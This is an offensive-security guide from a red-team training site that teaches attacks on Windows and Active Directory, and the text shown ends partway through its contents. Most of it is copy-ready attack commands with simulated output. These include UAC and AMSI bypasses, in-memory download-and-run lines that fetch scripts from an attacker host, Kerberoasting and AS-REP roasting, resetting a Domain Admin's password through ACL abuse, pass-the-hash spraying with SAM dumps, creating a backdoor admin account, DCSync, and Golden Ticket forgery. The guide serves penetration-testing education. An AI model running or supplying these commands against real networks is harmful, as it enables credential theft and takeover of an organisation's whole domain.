



◆ OFFENSIVE SECURITY SERIES ◆

WINDOWS BASICS FOR ATTACKERS

Active Directory Intro

AD Enum · Kerberoast · ACL Abuse · DCSync · Golden Ticket · Lateral Movement

Active Directory

Kerberoast

DCSync

BloodHound

PTH

Golden Ticket

WinRM

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

■ LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse.
Authorised penetration testing and red team operations only.

**TABLE OF CONTENTS**

Windows & Active Directory — The Attacker's Complete Playbook

- 01. WHY WINDOWS & AD ARE EVERY ATTACKER'S PRIMARY TARGET**
- 02. WINDOWS ARCHITECTURE — WHAT MATTERS FOR ATTACKERS**
- 03. ACTIVE DIRECTORY — THE FOUNDATION OF ENTERPRISE NETWORKS**
- 04. AD OBJECTS — USERS, GROUPS, COMPUTERS, GPOS & OUS**
- 05. KERBEROS AUTHENTICATION — HOW IT WORKS & WHY IT BREAKS**
- 06. POST-COMPROMISE ENUMERATION — FIRST 10 MINUTES ON WINDOWS**
- 07. POWERSHELL FOR ATTACKERS — THE SHELL THAT RULES THEM ALL**
- 08. ACTIVE DIRECTORY ENUMERATION — POWerview & BLOODHOUND**
- 09. KERBEROASTING & AS-REP ROASTING — HASH THEFT AT SCALE**
- 10. ACL ABUSE — GENERICWRITE, FORCECHANGEPASSWORD & WRITEDACL**
- 11. LATERAL MOVEMENT — PASS-THE-HASH, WMI, PSEXEC & WINRM**
- 12. PRIVILEGE ESCALATION — LOCAL TO SYSTEM ON WINDOWS**
- 13. DCSYNC — REPLICATING THE ENTIRE DOMAIN'S CREDENTIALS**
- 14. GOLDEN & SILVER TICKETS — PERSISTENT KERBEROS FORGERY**
- 15. PERSISTENCE — REGISTRY, TASKS, WMI & COM HIJACKING**
- 16. DEFENCES & DETECTION — WHAT BLUE TEAMS WATCH**
- 17. WINDOWS & AD ATTACKER CHEAT SHEET**

01 — WHY WINDOWS & AD ARE EVERY ATTACKER'S PRIMARY TARGET

The OS and Directory That Runs Every Enterprise

Over 95% of Fortune 500 companies run Active Directory. Every internal penetration test, red team engagement, and ransomware incident involves Windows and AD at its core. Active Directory is the centralised identity and access management system for Windows environments — compromise it and you own the entire organisation: every workstation, server, application, and service account in the domain.

This guide teaches Windows and Active Directory from the attacker's perspective — skipping irrelevant theory and focusing on what operators actually do: enumerate, escalate, pivot, and persist. Every technique here maps to real-world red team engagements.

What Compromising AD Means

- ◆ Domain Admin = God Mode — full control of every machine in the domain.
- ◆ krbtgt hash = Golden Tickets — forge tickets valid for 10 years, survives password resets
- ◆ DCSync = all 247+ user hashes in 30 seconds, performed entirely over the network.
- ◆ GPO control = code execution on every domain-joined machine simultaneously.
- ◆ NTDS.dit = the entire domain's identity database — credentials for every account.
- ◆ Service accounts often have Domain Admin rights — pivot from app server to DA.

AD Compromise Path	Starting Point	End State	Common Duration
Phishing → DA	Low-priv user (jsmith)	Domain Admin	2-4 hours internal
NTLM relay → DA	Network access	Domain Admin	30 minutes
Kerberoast → DA	Any domain user	Domain Admin (via cracked svc hash)	1-24 hours
BloodHound path	Any domain user	DA via ACL chain	Variable
AS-REP Roast → DA	No credentials needed	Hash + crack	Minutes to hours



02 — WINDOWS ARCHITECTURE: WHAT MATTERS FOR ATTACKERS

Processes, Tokens, Registry & the Windows Security Model

Windows security is built around tokens, privileges, and integrity levels. Every process runs with a token that defines what it can do. Understanding this model reveals why `SelImpersonatePrivilege` leads to `SYSTEM`, why UAC can be bypassed, and why certain LSASS attacks require `SYSTEM` access.

Windows Security Concepts Attackers Must Know

Concept	What It Is	Attacker Relevance
Access Token	Identity proof for every process	Steal/duplicate = impersonate user
SID	Security Identifier — unique ID per account	S-1-5-21-...-500 = Administrator
RID	Relative ID — last part of SID	500=Admin, 501=Guest, 502=krbtgt
Integrity Level	Low/Medium/High/System	UAC bypass needed to reach High
UAC	User Account Control elevation prompt	Bypass for silent privilege escalation
Privileges	Special rights per token	<code>SelImpersonate</code> → <code>SYSTEM</code> via Potato
<code>SelImpersonatePrivilege</code>	Impersonate any logged-on user	Potato attacks → <code>SYSTEM</code>
<code>SeDebugPrivilege</code>	Open any process including LSASS	Required for Mimikatz <code>sekurlsa::*</code>
LSASS	Stores all credential material	Target for Mimikatz, memory dump
SAM	Local account password hashes	<code>Isadump::sam</code> → local creds
NTDS.dit	Domain credential database on DC	<code>DCSync</code> or direct extraction
LSA Secrets	Service account passwords in registry	<code>Isadump::secrets</code>



\$ Windows Security Model Commands

```
# Check your token privileges – SeImpersonate = Potato attack
whoami /priv

# SeImpersonatePrivilege Enabled → run JuicyPotato/GodPotato → SYSTEM

# Check integrity level
whoami /groups | findstr 'Label'
# High Mandatory Level = already elevated
# Medium = UAC bypass needed for some operations

# UAC bypass – silent elevation without prompt
# fodhelper.exe bypass (Windows 10/11)
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
New-ItemProperty -Path HKCU:\...\command -Name '(default)' -Value 'cmd.exe'
New-ItemProperty -Path HKCU:\...\command -Name 'DelegateExecute'
Start-Process fodhelper.exe # spawns cmd.exe as High integrity
```



03 — ACTIVE DIRECTORY: THE FOUNDATION OF ENTERPRISE NETWORKS

What AD Is, How It Works, and Why It's Attackable

Active Directory (AD) is a directory service developed by Microsoft that provides centralised authentication, authorisation, and management for Windows environments. Introduced in Windows 2000, it is built on LDAP for data storage and Kerberos for authentication. Every user, computer, and service in a Windows domain trusts the Domain Controller to vouch for identity — making the DC the ultimate high-value target.

AD Key Components

Component	Function	Attacker Target?
Domain Controller (DC)	Hosts AD database, authenticates users	CRITICAL — DC = keys to kingdom
NTDS.dit	The AD database — all users, hashes, policies	Extract via DCSync or VSS copy
LDAP (389/636)	Query protocol for AD objects	Enumerate users, groups, ACLs
Kerberos (88)	Authentication protocol	AS-REP roast, Kerberoast, ticket forge
DNS (53)	AD requires DNS for service location	Zone xfr, subdomain enum, SRV
SMB (445)	File sharing + RPC for management	NTLM relay, lateral movement
SYSVOL	GPO files + scripts on DCs	Find cpass (old Group Policy creds)
GPO	Group Policy Objects — apply settings to OUs	Hijack = exec on all domain machines
Trust	Relationship between domains/forests	Cross-domain attack paths



\$ AD Enumeration Basics

```
# Identify Domain Controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
nltest /dclist:corp.local
net group 'Domain Controllers' /domain

# Get domain info
net user /domain          # all domain users
net group /domain         # all domain groups
net group 'Domain Admins' /domain # who's DA?

# SYSVOL – find old Group Policy Preferences passwords
findstr /s /i 'cpassword' \\corp.local\SYSVOL\*.xml
# cpassword = AES-encrypted password with KNOWN key = trivially decrypted
```



04 — AD OBJECTS: USERS, GROUPS, COMPUTERS, GPOS & OUS

The Building Blocks of Every AD Attack Chain

AD Object	Key Attributes	Attacker Interest
User	sAMAccountName, description, memberOf, SPN, UAC flags	Creds in description, SPN = Kerberoast
Group	member, memberOf, groupType	Nested group membership = hidden privs
Computer	dNSHostName, operatingSystem, lastLogon	Target selection, OS version for exploits
GPO	gPCFileSysPath, versioning, links	Hijack → code exec on all linked machines
OU	Contains users/computers, GPO links	Scope of GPO application
Service Account	servicePrincipalName set	SPN present = Kerberoastable target
Trust	trustedDomain, trustType, transitivity	Cross-domain attack paths
AdminSDHolder	SD propagated to protected groups	ACL changes auto-reverted every 60 min

\$ AD Object Enumeration

```
# PowerShell AD module – enumerate objects

# Find users with passwords in description (VERY common)
Get-ADUser -Filter * -Properties Description |
  Where {$_.Description -match 'pass|pw|cred'} |
  Select Name, Description

# Find accounts with PasswordNeverExpires (often service accounts)
Get-ADUser -Filter {PasswordNeverExpires -eq $True} |
  Select Name, PasswordNeverExpires

# Find accounts with Kerberos pre-auth disabled (AS-REP roastable)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} | Select Name

# Find all SPNs (Kerberoastable accounts)
Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName |
  Select Name, ServicePrincipalName

# Find GPOs and what they're linked to
Get-GPO -All | Select DisplayName, GpoStatus
Get-GPLink -Domain corp.local
```



```
Administrator: PowerShell — AD Enum: Domain info, creds in descriptions, DA group

PS C:\> # Active Directory enumeration with PowerShell
PS C:\> Get-ADDomain | Select-Object Name,DomainMode,PDCemulator

Name           : corp
DomainMode      : Windows2016Domain
PDCemulator     : DC01.corp.local

PS C:\> Get-ADUser -Filter * -Properties * | Select SamAccountName,Description,PasswordNeverExpires

SamAccountName Description                                PasswordNeverExpires
-----
Administrator Built-in administrator                    True
jsmith         IT Admin - pw: Welcome!                  False  + CRED IN DESC!
svc_mssql      SQL Service - never changes              True
svc_backup     Backup svc - P@ssw0rd! in vault          True
krbtgt         Key Distribution Center Svc              False

PS C:\> Get-ADGroupMember 'Domain Admins' | Select Name,SamAccountName

Name           SamAccountName
-----
Administrator Administrator
DA_jones       DA_jones
svc_deploy     svc_deploy  + service account in DA group!

PS C:\> _
```

Figure: Get-ADUser finds creds in descriptions; DA group reveals svc_deploy as Domain Admin

05 — KERBEROS AUTHENTICATION: HOW IT WORKS & WHY IT BREAKS

The Protocol Behind Every AD Attack

Kerberos is the primary authentication protocol for Active Directory. It uses tickets instead of passwords for authentication — once you have a valid ticket, you can access services without a password. Understanding Kerberos is mandatory for AS-REP Roasting, Kerberoasting, Golden Tickets, Silver Tickets, and Pass-the-Ticket attacks.

Kerberos Flow — Where Attacks Plug In

\$ Kerberos Flow and Attack Points

Kerberos authentication flow:

1. Client sends AS-REQ to KDC (Key Distribution Center = DC)
Contains: pre-authentication data encrypted with user's password hash
ATTACK: AS-REP Roasting — if pre-auth disabled, KDC sends back AS-REP encrypted with user hash → crack offline without any interaction
2. KDC replies with AS-REP:
Contains: TGT (Ticket Granting Ticket) encrypted with krbtgt hash
ATTACK: Golden Ticket — forge TGT using krbtgt hash → any user, any time
3. Client sends TGS-REQ to KDC with TGT + requested service SPN
ATTACK: Kerberoasting — any user can request TGS for any SPN
TGS encrypted with service account's hash → crack offline
4. KDC replies with TGS (Service Ticket):
Contains: service ticket encrypted with SERVICE account's hash
ATTACK: Silver Ticket — forge TGS with service account hash
→ access that service as any user, no DC interaction, no logs
5. Client presents TGS to Service:
ATTACK: Pass-the-Ticket — steal TGT/TGS from memory, inject elsewhere

Key insight: Everything is signed with a hash, not checked in real time

If you have the hash → you can forge the ticket → you don't need the password

06 — POST-COMPROMISE ENUMERATION: FIRST 10 MINUTES ON WIN10

The Exact Sequence Operators Run on Every Shell

\$ Post-Compromise Enumeration Sequence

```
# ■■ PHASE 1: Identity (30 seconds) ██████████  
whoami /all # user, groups, SID, ALL privileges  
net user %username% /domain # your domain account details  
  
# ■■ PHASE 2: Machine & Domain context (30 seconds) ██████████  
systeminfo | findstr /B /C:'OS Name' /C:'OS Version' /C:'Domain'  
hostname  
ipconfig /all  
  
# ■■ PHASE 3: Local privileges (30 seconds) ██████████  
net localgroup administrators # who's local admin?  
whoami /priv # check for SeImpersonate, SeDebug, etc.  
  
# ■■ PHASE 4: Network layout (60 seconds) ██████████  
ipconfig /all # all interfaces + DNS servers  
route print # routing table → pivot paths  
arp -a # ARP cache → adjacent hosts  
netstat -ano # active connections + PIDs  
  
# ■■ PHASE 5: Domain users and DCs (60 seconds) ██████████  
net user /domain # all domain users  
net group 'Domain Admins' /domain # who's DA?  
net group 'Domain Controllers' /domain  
nltest /dclist:corp.local # list all DCs  
  
# ■■ PHASE 6: Processes & services (30 seconds) ██████████  
tasklist /v # running processes  
sc query # running services  
wmic service get name,pathname,startmode | findstr /i 'auto'  
  
# ■■ PHASE 7: Credential opportunities (60 seconds) ██████████  
cmdkey /list # saved credentials  
dir /s /b *pass* *cred* *vnc* *.config 2>nul
```



```
CORP\jsmith: cmd.exe -- Initial Enum: whoami /all, SeImpersonate, systeminfo

C:\Users\jsmith> # First commands on a fresh Windows shell
C:\Users\jsmith> whoami /all

USER INFORMATION
User Name          SID
CORP\jsmith        S-1-5-21-3623811015-3361044348-30300820-1103

GROUP INFORMATION
CORP\Domain Users   Mandatory group
CORP\IT-Admins      Mandatory group
BUILTIN\Remote Desktop Users
NT AUTHORITY\Authenticated Users

PRIVILEGES INFORMATION
Privilege Name      Description              State
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client     Enabled - Juicy!
SeCreateGlobalObjects Create global objects     Enabled

C:\Users\jsmith> systeminfo | findstr /B /C:'OS Name' /C:'OS Version' /C:'Domain'
OS Name:  Microsoft Windows Server 2019 Datacenter
OS Version: 10.0.17763 N/A Build 17763
Domain:    CORP

C:\Users\jsmith> net localgroup administrators
Administrator
CORP\DA_jones - Domain Admin is local admin!

C:\Users\jsmith> _
```

Figure: whoami /all — IT-Admins group, SeImpersonatePrivilege enabled, DA is local admin

07 — POWERSHELL FOR ATTACKERS: THE SHELL THAT RULES THEM

Living in PowerShell — Bypass, Execute, Enumerate

PowerShell is the most powerful tool on any Windows system — it can interact with every part of the OS, AD, WMI, .NET, COM, and remote systems. Attackers live in PowerShell because it can run entirely in memory, bypass script execution policies, and access AD natively through the ActiveDirectory module.

\$ PowerShell Attacker Commands

```
# Execution policy bypass – don't let it stop you
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c 'Get-Process'
Set-ExecutionPolicy Bypass -Scope Process -Force

# Run script from memory – never touches disk
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
IEX (iwr 'http://ATTACKER/PowerView.ps1' -UseBasicParsing)

# Encode command to bypass AV/logging
# On attacker: echo -n 'IEX(...)'|iconv -t utf-16le|base64 -w0
powershell -nop -w hidden -enc BASE64ENCODEDCOMMAND

# AMSI bypass – disable antimalware scan interface
# AMSI bypass (paste as one line):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    .GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)

# CONSTRAINED LANGUAGE MODE bypass (if CLM enabled)
powershell -v 2 # PowerShell v2 has no CLM / AMSI

# Useful one-liners
[System.Net.Dns]::GetHostAddresses('dc01.corp.local') # DNS
(New-Object System.Net.WebClient).DownloadFile('URL', 'C:\tmp\f.exe')
Get-Content C:\Windows\win.ini # read file
Get-ChildItem -Recurse -Include *.config | Select-String 'password'
```



08 — ACTIVE DIRECTORY ENUMERATION: POWERVIEW & BLOODHOUND

Map the Entire Domain in Minutes

PowerView (part of PowerSploit) is a PowerShell AD enumeration toolkit that turns complex LDAP queries into simple functions. BloodHound visualises AD relationships and attack paths — showing the shortest path from any user to Domain Admin based on actual AD permissions.

\$ PowerView + BloodHound Commands

```
# PowerView — core enumeration functions
Import-Module PowerView.ps1 # or IEX download

# Domain information
Get-Domain
Get-DomainController
Get-DomainTrust

# User enumeration
Get-DomainUser | Select samaccountname,description,pwdlastset
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainUser -PreauthNotRequired | Select samaccountname

# Group membership
Get-DomainGroupMember 'Domain Admins' -Recurse
Get-DomainGroupMember 'Enterprise Admins' -Recurse

# Find computers where current user is local admin
Find-LocalAdminAccess

# Find where Domain Admins are currently logged in
Find-DomainUserLocation -GroupName 'Domain Admins'

# BloodHound collection (from Kali — no tools on target)
bloodhound-python -u jsmith -p 'Welcome1!' -d corp.local \
  -dc 192.168.10.5 -c All --zip

# BloodHound on-target (SharpHound)
.\SharpHound.exe -c All --zipfilename bh_output.zip
```

```
Administrator: PowerShell — BloodHound Collection + Attack Path Discovery

PS C:\> # BloodHound - map the entire AD attack path
PS C:\> bloodhound-python -u jsmith -p 'Welcome!' -d corp.local \
    -dc 192.168.10.5 -c All --zip

INFO: Found AD domain: corp.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 1 domains
INFO: Found 3 domain controllers
INFO: Found 247 users
INFO: Found 89 groups
INFO: Found 156 computers
INFO: Found 1337 ACLs
INFO: Done in 00:02:34.123456
INFO: Compressing output into 20241201_bloodhound.zip

PS C:\> # Upload .zip to BloodHound GUI - find shortest path to DA
PS C:\> # Query: 'Shortest Path to Domain Admin from jsmith'

# BloodHound result: jsmith → [GenericWrite] → svc_backup
#                      svc_backup → [MemberOf] → IT-Admins
#                      IT-Admins → [GenericAll] → Domain Controllers
#                      DC → [DCSync rights] → Domain Admin
# 3-hop path from jsmith to DA found!

PS C:\> _
```

Figure: bloodhound-python collects 247 users, 1337 ACLs; 3-hop path jsmith → DA discovered



09 — KERBEROASTING & AS-REP ROASTING: HASH THEFT AT SCALE

Offline Password Cracking via Kerberos Protocol Abuse

Kerberoasting and AS-REP Roasting are the two most reliably successful credential attacks in Active Directory. Both yield crackable hashes that can be taken offline and broken with hashcat. Service accounts are high-value targets because they often have Domain Admin rights and never-changing passwords set years ago.

Kerberoasting — Attack Any Service Account

\$ Kerberoasting

```
# Prerequisites: any valid domain user account

# From Kali (impacket)
impacket-GetUserSPNs corp.local/jsmith:'Welcome1!' \
  -dc-ip 192.168.10.5 -outputfile kerberoast.txt

# From Windows (PowerView)
Invoke-Kerberoast -OutputFormat Hashcat | fl

# From Windows (Rubeus)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap

# Crack hashes with hashcat
hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule
hashcat -m 13100 kerberoast.txt rockyou.txt -a 3 '?u?l?l?l?d?s'
```

AS-REP Roasting — No Password Required

\$ AS-REP Roasting

```
# AS-REP Roasting – works if pre-auth is disabled
# No credentials needed at all!

# From Kali
impacket-GetNPUsers corp.local/ -dc-ip 192.168.10.5 \
  -usersfile users.txt -format hashcat -no-pass

# Enumerate users via Kerbrute (no creds, no noise)
kerbrute userenum --dc 192.168.10.5 -d corp.local users.txt

# From Windows (Rubeus)
.\Rubeus.exe asreproast /format:hashcat /nowrap

# Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r best64.rule
```

Administrator: PowerShell — Kerberoast + AS-REP Roast + hash crack

```
PS C:\> # Kerberoasting – request service tickets for cracking
PS C:\> Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt

# Results in kerberoast.txt:
$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*
$3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d...(truncated for display)

$krb5tgs$23$*svc_backup$CORP.LOCAL$corp.local/svc_backup*
$8f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c...

PS C:\> # AS-REP Roasting – no pre-auth users
PS C:\> Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

DistinguishedName : CN=jsmith,CN=Users,DC=corp,DC=local
SamAccountName    : jsmith - pre-auth disabled!

PS C:\> # Crack on Kali:
PS C:\> # hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule
# $krb5tgs$23$*svc_mssql*:ServiceP@ss2024 - CRACKED!

PS C:\> # PowerView – find all Kerberoastable accounts
PS C:\> Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
svc_mssql MSSQLSvc/sql01.corp.local:1433
svc_backup BackupSvc/backup01.corp.local
svc_web HTTP/web01.corp.local:8080

PS C:\> _
```

Figure: Invoke-Kerberoast gets 3 TGS hashes; AS-REP roast finds pre-auth off; hashcat cracks



10 — ACL ABUSE: GENERICWRITE, FORCECHANGEPASSWORD & WR

Misconfigured Permissions = Silent Privilege Escalation

Access Control Lists (ACLs) define who can do what to every AD object. Misconfigured ACLs are one of the most common and impactful findings in real-world AD assessments. BloodHound maps these automatically — showing you exactly which ACL gives you the path to Domain Admin.

ACL Right	On Object	What You Can Do
GenericAll	User/Computer/Group	Change password, add SPN, modify attrs
GenericWrite	User	Add SPN (Kerberoast), change logon script
WriteProperty	User/Group	Add member to group, change attributes
ForceChangePassword	User	Reset password without knowing current
WriteDACL	Any object	Add your own ACL entries = GenericAll
WriteOwner	Any object	Take ownership → WriteDACL → GenericAll
AllExtendedRights	User	Change password, read LAPS
AddMember	Group	Add any user to the group
DCSync rights	Domain	DS-Replication-Get-Changes-All = DCSync

\$ ACL Abuse Commands

```
# Find ACL misconfigurations with BloodHound / PowerView
Find-InterestingDomainAcl -ResolveGUIDs | \
  Where-Object {$_.IdentityReferenceName -match 'Domain Users|IT-Admins'} | \
  Select ObjectDN, ActiveDirectoryRights, IdentityReferenceName

# GenericWrite → add SPN → Kerberoast the account
Set-DomainObject -Identity svc_backup \
  -Set @{ServicePrincipalName='fake/FAKE'} -Verbose
Invoke-Kerberoast -Identity svc_backup -OutputFormat Hashcat

# ForceChangePassword → reset DA password
$pass = ConvertTo-SecureString 'NewP@ss2024!' -AsPlainText -Force
Set-DomainUserPassword -Identity DA_jones -AccountPassword $pass

# WriteDACL → grant yourself DCSync rights
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity jsmith \
  -Rights DCSync

# Now run secretsdump as jsmith → get all hashes
```

Administrator: PowerShell — ACL Abuse: GenericWrite + ForceChangePassword

```
PS C:\> # ACL abuse — find misconfigured permissions
PS C:\> # Import PowerView
PS C:\> Import-Module PowerView.ps1

PS C:\> # Find objects where jsmith has dangerous permissions
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -like '*jsmith*'}

ObjectDN      : CN=svc_backup,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericWrite
IdentityReferenceName : CORP\jsmith
# jsmith can modify svc_backup → add SPN → Kerberoast!

ObjectDN      : CN=DA_jones,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : ForceChangePassword
IdentityReferenceName : CORP\IT-Admins
# IT-Admins can reset DA_jones password → instant DA!

PS C:\> # Exploit: Reset DA_jones password
PS C:\> $NewPass = ConvertTo-SecureString 'RTGpwned@2024!' -AsPlainText -Force
PS C:\> Set-DomainUserPassword -Identity DA_jones -AccountPassword $NewPass
[+] Password for DA_jones changed successfully!
[+] Now login as DA_jones:RTGpwned@2024! = Domain Admin!

PS C:\> _
```

Figure: Find-InterestingDomainAcl — GenericWrite on svc_backup, ForceChangePassword on DA



11 — LATERAL MOVEMENT: PTH, WMI, PSEXEC & WINRM

Moving Across the Network Using Recovered Credentials

Lateral movement is the process of using access on one machine to gain access to others. In Windows environments, NTLM hashes are as good as passwords for authentication — Pass-the-Hash (PTH) lets you authenticate to any network service that accepts NTLM without knowing the plaintext.

Method	Tool	Port Used	Detection Risk
Pass-the-Hash SMB	nxc smb / impacket-psexec	445	HIGH — creates service/writes file
Pass-the-Hash WMI	impacket-wmiexec	135	MEDIUM — no service creation
Pass-the-Hash WinRM	evil-winrm	5985/5986	LOW-MED — if WinRM allowed
Pass-the-Ticket	Rubeus + klist	Kerberos 88	LOW — uses legit Kerberos
Overpass-the-Hash	Rubeus asktgt	Kerberos 88	LOW — AES keys preferred
RDP PTH	xfreerdp /pth	3389	MEDIUM
SCM (sc.exe)	impacket-smbexec	445	HIGH — creates service
DCOM	impacket-dcomexec	135	LOW — uses existing COM

\$ Lateral Movement Commands

```
# NetExec – spray hash across entire subnet
nxc smb 192.168.10.0/24 -u Administrator -H NTLM_HASH --local-auth
nxc smb 192.168.10.0/24 -u Administrator -H NTLM_HASH # domain auth

# Execute command via SMB
nxc smb 192.168.10.105 -u admin -H HASH -x 'whoami'

# PSEXEC via impacket (creates service – noisy)
impacket-psexec corp.local/Administrator@192.168.10.105 \
-hashes aad3b435:NTLM_HASH

# WMI exec (quieter than psexec)
impacket-wmiexec corp.local/Administrator@192.168.10.105 \
-hashes aad3b435:NTLM_HASH

# evil-winrm via WinRM (port 5985)
evil-winrm -i 192.168.10.105 -u Administrator -H NTLM_HASH

# RDP PTH
xfreerdp /v:192.168.10.105 /u:Administrator /pth:NTLM_HASH /cert:ignore
```

Administrator: PowerShell – PTH Lateral Movement: nxc + SAM dump + PSEXEC

```
PS C:\> # Lateral movement – Pass-the-Hash with NetExec
PS C:\> # (From Kali – using recovered NTLM hash)

# nxc smb scan – find where admin hash works
nxc smb 192.168.10.0/24 -u Administrator -H fc525c9683e8fe06 --local-auth

SMB 192.168.10.105 445 CORP-WS01 [+] Administrator (Pwn3d!)
SMB 192.168.10.106 445 CORP-WS02 [+] Administrator (Pwn3d!)
SMB 192.168.10.107 445 CORP-WS03 [-] STATUS_LOGON_FAILURE

# Execute command on all pwned hosts
nxc smb 192.168.10.105,106 -u Administrator -H fc525c9683e8fe06 -x 'whoami'
SMB 192.168.10.105 Administrator corp-ws01\administrator
SMB 192.168.10.106 Administrator corp-ws02\administrator

# Dump SAM on all pwned machines
nxc smb 192.168.10.105,106 -u Administrator -H fc525c9683e8fe06 --sam
SMB 192.168.10.105 CORP-WS01 Administrator:fc525c9683e8fe06
SMB 192.168.10.105 CORP-WS01 jsmith:3d8b2f4a6e9c1a7b
SMB 192.168.10.105 CORP-WS01 DA_jones:b9c0d1e2f3a4b5c6

# PSEXEC shell via PTH
impacket-psexec corp.local/Administrator@192.168.10.105 -hashes :fc525c9683e8fe06
C:\Windows\system32> whoami
nt authority\system

PS C:\> _
```

Figure: nxc PTH spray finds 2 pwned hosts; SAM dump; PSEXEC SYSTEM shell on WS01



12 — PRIVILEGE ESCALATION: LOCAL TO SYSTEM ON WINDOWS

From Low-Priv User to NT AUTHORITY\SYSTEM

Technique	Requirement	Tool	Impact
SeImpersonate → SYSTEM	SeImpersonatePrivilege	JuicyPotato/GoatPotato	SYSTEM
SeDebugPrivilege	SeDebugPrivilege	Mimikatz lsass	All LSASS creds
Unquoted service path	Writable dir in path	Drop malicious exe	SYSTEM via service
Weak service ACL	SERVICE_ALL_ACCESS	sc config	SYSTEM via service change
DLL hijacking	Writable dir before legit DLL	Malicious DLL	Runs as service user
AlwaysInstallElevated	Both reg keys set to 1	msiexec	SYSTEM via MSI
Writable service binary	Write on service .exe	Replace binary	SYSTEM on restart
AutoRun writable	Writable AutoRun path	Replace binary	Priv of AutoRun
Token impersonation	Impersonate token in proc	Incognito	Any logged-in user



\$ Windows Privilege Escalation Commands

```
# SeImpersonatePrivilege → SYSTEM (most common on service accounts)
# Check: whoami /priv | findstr Impersonate

# GodPotato (works on Win10/11/2019/2022)
.\GodPotato.exe -cmd 'cmd /c whoami'
.\GodPotato.exe -cmd 'cmd /c net user hacker P@ss /add'
.\GodPotato.exe -cmd 'cmd /c net localgroup Administrators hacker /add'

# JuicyPotato (older systems)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe \
-a '/c whoami' -t *

# Unquoted service path check
wmic service get name,displayname,pathname,startmode |
findstr /i 'auto' | findstr /i /v 'c:\windows\' | findstr /i /v '"'

# AlwaysInstallElevated check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both = 1 → msexec /quiet /qn /i evil.msi → SYSTEM
```



13 — DCSYNC: REPLICATING THE ENTIRE DOMAIN'S CREDENTIALS

Pull Every Hash Without Touching a DC

DCSync abuses the MS-DRSR replication protocol to impersonate a Domain Controller and pull credential data for any account. No need to log into the DC, no need to copy NTDS.dit — just make legitimate replication requests from your current machine. Requires DCSync rights (Domain Admin or explicitly granted DS-Replication permissions).

\$ DCSync Commands

```
# DCSync from Kali — pull any account
impacket-secretsdump corp.local/DA_jones:'P@ss!'@192.168.10.5 -just-dc-user Administrator
impacket-secretsdump corp.local/DA_jones:'P@ss!'@192.168.10.5 -just-dc-user krbtgt

# Full domain dump — all 247 accounts
impacket-secretsdump corp.local/DA_jones:'P@ss!'@192.168.10.5 \
  -just-dc-ntlm -outputfile domain_hashes.txt

# DCSync with hash (PTH)
impacket-secretsdump corp.local/DA_jones@192.168.10.5 \
  -hashes aad3b435b51404ee:b9c0d1e2f3a4b5c6 -just-dc-ntlm

# From Windows — Mimikatz DCSync
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# Grant DCSync rights to controlled account (if WriteDACL on domain)
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity jsmith -Rights DCSync

# Now jsmith can DCSync — not just DAS
```



```
Administrator: PowerShell — DCSync All Hashes + Golden Ticket = Domain Owned

PS C:\> # DCSync — full domain credential harvest
PS C:\> # Using secretdump from Kali (no Mimikatz needed)

# impacket-secretsdump corp.local/DA_jones:'RTGpwned@2024!'@192.168.10.5

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435:fc525c9683e8fe06:::
krbtgt:502:aad3b435:7b15b8b9c2b32f0b:::
DA_jones:1150:aad3b435:b9c0d1e2f3a4b5c6:::
jsmith:1103:aad3b435:3d8b2f4a6e9c1a7b:::
svc_mssql:1110:aad3b435:9a1b2c3d4e5f6a7b:::
DC01$:1000:aad3b435:e0f1a2b3c4d57f8a:::
[+] 247 accounts dumped

PS C:\> # Golden Ticket — forge TGT valid for 10 years
PS C:\> # Requires: krbtgt hash + domain SID
PS C:\> mimikatz # kerberos::golden /user:Administrator \
/domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:7b15b8b9c2b32f0b /ptt
[+] Golden ticket for Administrator @ corp.local submitted!
[+] Access ANY service as Administrator — valid until 2034
[+] Even after ALL passwords reset — this ticket still works

PS C:\> dir \\DC01\C$
Volume in drive \\DC01\C$ — NTDS directory accessible
[*] FULL DOMAIN COMPROMISE ACHIEVED

PS C:\> _
```

Figure: secretdump pulls all 247 hashes; Golden Ticket forged from krbtgt hash — domain owned



